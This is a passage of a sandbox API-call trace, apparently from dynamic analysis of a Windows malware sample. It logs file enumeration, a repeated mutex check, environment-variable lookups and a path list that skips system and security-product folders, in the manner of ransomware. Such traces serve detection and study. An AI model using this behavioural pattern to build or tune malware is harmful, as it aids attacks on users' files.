FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0282.534] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0282.534] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0282.534] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.534] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0282.534] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0282.534] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0282.534] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.534] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0282.534] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.534] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0282.534] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0282.534] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0282.534] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0282.534] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0282.535] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0282.535] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.535] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0282.535] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0282.535] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0282.535] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.535] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0282.535] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.535] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0282.535] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0282.535] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0282.535] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0282.535] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0282.535] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0282.535] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.535] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0282.535] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0282.535] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0282.535] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.536] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0282.536] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.536] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0282.536] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0282.536] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0282.536] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0282.536] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0282.536] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0282.536] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.536] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0282.536] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0282.536] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0282.536] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.536] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0282.536] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.536] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0282.536] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0282.536] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0282.536] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0282.537] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0282.537] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0282.537] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.537] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0282.537] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0282.537] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0282.537] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.537] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0282.537] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.537] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0282.537] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0282.537] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0282.537] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0282.537] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0282.537] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0282.537] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.537] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0282.538] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0282.538] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0282.538] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.538] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0282.538] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.538] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0282.538] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0282.538] GetLastError () returned 0x12 [0282.538] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0282.538] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0282.538] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0282.538] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0282.538] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0282.538] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0282.538] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.539] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0282.539] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0282.539] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0282.539] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.539] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0282.539] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.539] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0282.539] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0282.539] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0282.539] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.539] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0282.539] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0282.539] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0282.539] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.540] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0282.540] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.540] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0282.540] SysReAllocStringLen (in: pbstr=0x19eb78*=0x0, psz="C:\\588bce7c90097ed212\\1055", len=0x1a | out: pbstr=0x19eb78*="C:\\588bce7c90097ed212\\1055") returned 1 [0282.540] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0282.540] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0282.540] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.540] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0282.540] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0282.540] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0282.540] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.540] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0282.540] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.540] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\Microsoft\\Exchange Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0282.541] GetLastError () returned 0x3 [0282.541] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1055\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1055\\") returned 0x1b [0282.541] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cdb8, cbMultiByte=26, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0282.541] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\Microsoft SQL Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0282.541] GetLastError () returned 0x2 [0282.541] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1055\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1055\\") returned 0x1b [0282.541] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cdb8, cbMultiByte=21, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\疼\x16") returned 21 [0282.541] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\Firebird", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0282.542] GetLastError () returned 0x2 [0282.542] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1055\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1055\\") returned 0x1b [0282.542] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cd8, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0282.542] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\MSSQL.1", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0282.542] GetLastError () returned 0x2 [0282.542] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1055\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1055\\") returned 0x1b [0282.542] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cd8, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0282.542] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\Microsoft SQL Server Compact Edition", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0282.542] GetLastError () returned 0x2 [0282.543] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1055\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1055\\") returned 0x1b [0282.543] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ec01c8, cbMultiByte=37, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 37 [0282.543] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\Adobe", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0282.543] GetLastError () returned 0x2 [0282.543] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1055\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1055\\") returned 0x1b [0282.543] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cd8, cbMultiByte=6, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="adobe\\") returned 6 [0282.543] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\Oracle", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0282.543] GetLastError () returned 0x2 [0282.543] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1055\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1055\\") returned 0x1b [0282.543] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cd8, cbMultiByte=7, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="oracle\\") returned 7 [0282.543] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0282.543] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0282.544] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.544] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0282.544] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0282.544] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0282.544] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.544] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0282.544] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.544] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1055\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1055\\") returned 0x1b [0282.544] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0282.544] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aac8, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr) returned 15 [0282.544] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1055\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1055\\") returned 0x1b [0282.544] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x1f [0282.544] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=32, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\fd1hvy\\appdata\\roaming\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 32 [0282.544] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1055\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1055\\") returned 0x1b [0282.544] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0282.544] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa88, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\\\appdata\\roaming\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0282.545] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1055\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1055\\") returned 0x1b [0282.545] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0282.545] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39f48, cbMultiByte=11, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\\\appdata\\roaming\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0282.545] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0282.545] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0282.545] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.545] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0282.545] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0282.545] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0282.545] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.545] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0282.545] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.545] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1055\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1055\\") returned 0x1b [0282.545] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa88, cbMultiByte=15, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\data\\roaming\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0282.545] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1055\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1055\\") returned 0x1b [0282.545] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cd8, cbMultiByte=11, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\data\\roaming\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0282.545] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1055\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1055\\") returned 0x1b [0282.545] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cd8, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\data\\roaming\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0282.546] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1055\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1055\\") returned 0x1b [0282.546] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa88, cbMultiByte=18, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\application data\\a\\roaming\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 18 [0282.546] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1055\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1055\\") returned 0x1b [0282.546] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=28, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 28 [0282.546] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1055\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1055\\") returned 0x1b [0282.546] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cd8, cbMultiByte=10, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 10 [0282.546] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1055\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1055\\") returned 0x1b [0282.546] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cd8, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 8 [0282.546] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1055\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1055\\") returned 0x1b [0282.546] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cd8, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0282.546] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1055\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1055\\") returned 0x1b [0282.546] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa88, cbMultiByte=13, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 13 [0282.546] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1055\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1055\\") returned 0x1b [0282.546] SHGetMalloc (in: ppMalloc=0x19e840 | out: ppMalloc=0x19e840*=0x75e4d000) returned 0x0 [0282.546] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=0, ppidl=0x19e83c | out: ppidl=0x19e83c) returned 0x0 [0282.547] SHGetPathFromIDListW (in: pidl=0x6e46c8, pszPath=0x3add5d4 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0282.549] SysReAllocStringLen (in: pbstr=0x19e8c4*=0x0, psz="C:\\Users\\FD1HVy\\Desktop", len=0x17 | out: pbstr=0x19e8c4*="C:\\Users\\FD1HVy\\Desktop") returned 1 [0282.549] IMalloc:Free (This=0x75e4d000, pv=0x6e46c8) [0282.549] IUnknown:AddRef (This=0x75e4d000) returned 0x1 [0282.549] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop", cchLength=0x17 | out: lpsz="c:\\users\\fd1hvy\\desktop") returned 0x17 [0282.550] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0282.550] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0282.550] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.550] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0282.550] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0282.550] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0282.550] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.550] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0282.550] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.550] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da250 [0282.550] FindNextFileW (in: hFindFile=0x6da250, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0282.550] FindNextFileW (in: hFindFile=0x6da250, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0282.550] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0282.550] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0282.551] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0282.551] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0282.551] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.551] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0282.551] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0282.551] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0282.551] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.551] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0282.551] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.551] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0282.551] CharLowerBuffW (in: lpsz="eula.rtf", cchLength=0x8 | out: lpsz="eula.rtf") returned 0x8 [0282.551] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.551] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.551] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.551] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0282.551] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.551] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.551] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.552] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 